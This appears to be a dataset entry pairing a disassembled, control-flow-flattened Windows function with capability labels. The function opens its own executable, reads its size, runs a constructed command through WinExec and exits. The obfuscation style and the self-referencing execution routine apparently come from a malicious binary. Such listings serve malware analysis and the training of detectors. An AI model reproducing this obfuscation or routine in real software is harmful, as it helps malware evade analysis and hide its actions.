Function at 0x431bb8
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa30
mov esi, esp
mov dword [esi + 4], 0x81fa5c77
mov ebx, dword [esi + 0x14]
mov eax, dword [esi + 4]
cmp eax, 0x20baa0c3
jle 0x431c1f
cmp eax, 0x4443c689
jg 0x431c90
cmp eax, 0x2af00f3b
jle 0x431d66
cmp eax, 0x3cf3a763
jle 0x431e68
cmp eax, 0x3cf3a764
je 0x431e82
cmp eax, 0x4162420e
jne 0x431bd3
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esi + 4], 0x2af00f3c
jmp 0x431bd3
cmp eax, 0xe95f12ed
jle 0x431d2b
cmp eax, 0x99aefd1
jg 0x431db8
cmp eax, 0xe95f12ee
je 0x431ea5
cmp eax, 0xf402c2cf
je 0x431ec3
cmp eax, 0x4774cb5
jne 0x431bd3
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x200
lea ecx, [esi + 0x28]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push 3
push edi
push 7
push 0x80000000
lea eax, [esi + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x1c], eax
mov dword [esi + 4], 0xe95f12ee
jmp 0x431bd3
cmp eax, 0x686a1596
jle 0x431dee
cmp eax, 0x686a1597
je 0x431ef1
cmp eax, 0x7301b97c
je 0x431f09
cmp eax, 0x744fc4ce
jne 0x431bd3
mov edi, 0x67
push edi
push 0x46f410
push dword [esi + 0x10]
call fcn.004409a0
add esp, 0xc
push 7
push 0x46f477
push edi
push dword [esi + 0x10]
call fcn.00432090
add esp, 0x10
push 0x68
push dword [esi + 0x10]
push dword [esi + 0x18]
call fcn.004409a0
add esp, 0xc
mov eax, dword [esi + 0xc]
lea ecx, [esi + 0x28]
push ecx
push ecx
push dword [eax]
push dword [esi + 0x18]
push 0x800
lea edi, [esi + 0x228]
push edi
call fcn.0042448a
add esp, 0x18
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [esi + 4], 0x1bccc98a
jmp 0x431bd3
cmp eax, 0x9f55d048
jle 0x431e46
cmp eax, 0x9f55d049
je 0x431f4e
cmp eax, 0xb9cab840
je 0x431f61
cmp eax, 0xe67b9927
jne 0x431bd3
mov eax, dword [esi + 0xc]
mov dword [esi + 4], 0x4443c68a
jmp 0x431bd3
cmp eax, 0x20baa0c4
je 0x431f76
cmp eax, 0x27a97148
jne 0x43200d
imul ecx, dword [esi + 8], 0x9f
lea eax, [ecx - 0x7d]
add ecx, 0xffffff61
imul eax, eax
shr ecx, 0x14
imul edx, eax, 0x138d
dec edx
imul ecx, ecx, 0xd4
mov dword [esi + 8], ecx
mov ecx, 0x3cf3a764
cmp eax, edx
je 0x431db0
mov ecx, 0x9f55d049
mov dword [esi + 4], ecx
jmp 0x431bd3
cmp eax, 0x99aefd2
je 0x431f82
cmp eax, 0x1bccc98a
jne 0x43201a
imul eax, dword [esi + 8], 0x63800
add eax, 0xfd6d9a1c
and eax, 0xffff8000
mov dword [esi + 8], eax
mov dword [esi + 4], 0xacde224
jmp 0x431bd3
cmp eax, 0x4443c68a
je 0x431fc0
cmp eax, 0x4d75da69
jne 0x431bd3
add ebx, 0xffffff65
shr ebx, 0xc
imul edi, ebx, 0x71
add edi, 0xffffff8d
mov ebx, edi
shr ebx, 0xe
push 0x17b2
push ebx
push 0x59ab
call fcn.0042448a
add esp, 0xc
mov eax, 0x216f6113
cmp edi, 0x108000
jb 0x431fb8
mov eax, 0x99aefd2
jmp 0x431fb8
cmp eax, 0x81fa5c77
je 0x431fec
cmp eax, 0x9e2a8d5b
jne 0x431bd3
mov dword [esi + 4], 0x4774cb5
jmp 0x431bd3
cmp eax, 0x2af00f3c
jne 0x432027
mov eax, dword [esi + 0x18]
mov dword [esi + 4], 0xb9cab840
jmp 0x431bd3
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x20]
mov edx, dword [esi + 0x24]
mov dword [eax], ecx
mov dword [eax + 4], edx
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0x4162420e
jmp 0x431bd3
mov eax, dword [esi + 8]
shr eax, 7
and eax, 0xfffffffe
imul eax, eax, 0x5a0
mov dword [esi + 8], eax
mov dword [esi + 4], 0xe67b9927
jmp 0x431bd3
shr ebx, 8
imul ebx, ebx, 0xe200000
or ebx, 0x2c00
push 0xb2c
push 0x3ded
push ebx
call fcn.0042448a
add esp, 0xc
mov dword [esi + 4], 0x686a1597
jmp 0x431bd3
imul ebx, ebx, 0xd0b00
add ebx, 0xfe78b6e8
mov dword [esi + 4], 0x2ca1adc8
jmp 0x431bd3
shl ebx, 0xb
add ebx, 0xfffc8f62
push ebx
push 0x5dd7
push 0x1f2
push 0x3d6d
call fcn.00432090
add esp, 0x10
push ebx
push 0x5163
push 0x17c4
push 0x2d18
call fcn.00432090
add esp, 0x10
mov dword [esi + 4], 0x744fc4ce
jmp 0x431bd3
mov eax, dword [esi + 0x10]
mov byte [eax + 0x67], 0
mov dword [esi + 4], 0x744fc4ce
jmp 0x431bd3
push eax
sub esp, 0x64
mov eax, esp
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x27a97148
jmp 0x431bd3
mov dword [esi + 4], 0x9e2a8d5b
jmp 0x431bd3
mov eax, ebx
shl eax, 5
sub eax, ebx
sub eax, ebx
mov ebx, eax
add ebx, 0xffffe75e
push 0x5b6d
push ebx
push 0x23f3
call fcn.0042448a
add esp, 0xc
mov eax, 0x4162420e
cmp ebx, 0xdc
jge 0x431fb8
mov eax, 0x9f55d049
mov dword [esi + 4], eax
jmp 0x431bd3
push dword [esi + 0xc]
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esi + 0xc]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
add ecx, 0xffffffff
adc eax, 0xffffffff
mov dword [esi + 0x20], ecx
mov dword [esi + 0x24], eax
mov dword [esi + 4], 0x3cf3a764
jmp 0x431bd3
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0xc], eax
push eax
sub esp, 0x64
mov eax, esp
mov dword [esi + 0x18], eax
mov dword [esi + 4], 0x20baa0c4
jmp 0x431bd3
cmp eax, 0x216f6113
jne 0x431bd3
jmp 0x432059
cmp eax, 0xacde224
jne 0x431bd3
jmp 0x432082
cmp eax, 0x2ca1adc8
jne 0x431bd3
imul eax, ebx, 0x63
add eax, 0x2f
shr eax, 0xa
add eax, 0x58
mov dword [esi + 0x14], eax
push eax
push 0x23f9
push 0x2518
call fcn.0042448a
add esp, 0xc
call fcn.00431bb8
shl ebx, 3
and ebx, 0x1ffff80
mov dword [esi + 0x14], ebx
push 0x34e8
push ebx
push 0x5d2a
push 0x3528
call fcn.00432090
add esp, 0x10
call fcn.00431bb8
mov dword [esi + 0x14], ebx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]